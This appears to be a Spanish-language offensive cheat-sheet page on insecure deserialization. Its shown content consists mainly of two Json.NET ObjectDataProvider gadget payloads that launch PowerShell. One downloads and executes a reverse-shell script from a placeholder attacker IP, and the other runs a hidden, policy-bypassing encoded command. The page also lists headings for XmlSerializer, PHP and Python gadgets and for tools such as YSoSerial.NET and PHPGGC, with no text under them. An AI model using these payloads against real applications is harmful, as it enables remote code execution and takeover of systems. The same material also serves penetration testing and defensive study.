Deserialization
C#
Json.NET
Gadget ObjectDataProvider (ejemplo 1)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectType": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"MethodParameters": {
"$type": "MS.Internal.Data.ParameterCollection, PresentationFramework",
"$values": [
"powershell.exe",
"IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP-address>:80/reverse-shell.ps1')"
]
},
"MethodName": "Start"
}Gadget ObjectDataProvider (ejemplo 2)
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectType": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"MethodParameters": {
"$type": "MS.Internal.Data.ParameterCollection, PresentationFramework",
"$values": [
"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe",
"-WindowStyle Hidden -NonInteractive -exec bypass -enc <base64-payload>"
]
},
"MethodName": "Start"
}XmlSerializer
Gadget ObjectDataProvider (ejemplo 1)
Gadget ObjectDataProvider (ejemplo 2)
Type
Reverse shell
Ejemplo 1
Ejemplo 2
Herramientas
YSoSerial.NET
PHP
Herramientas
PHPGGC
Python
Pickle
JSONPickle
PyYAML
Herramientas
PEAS
Última actualización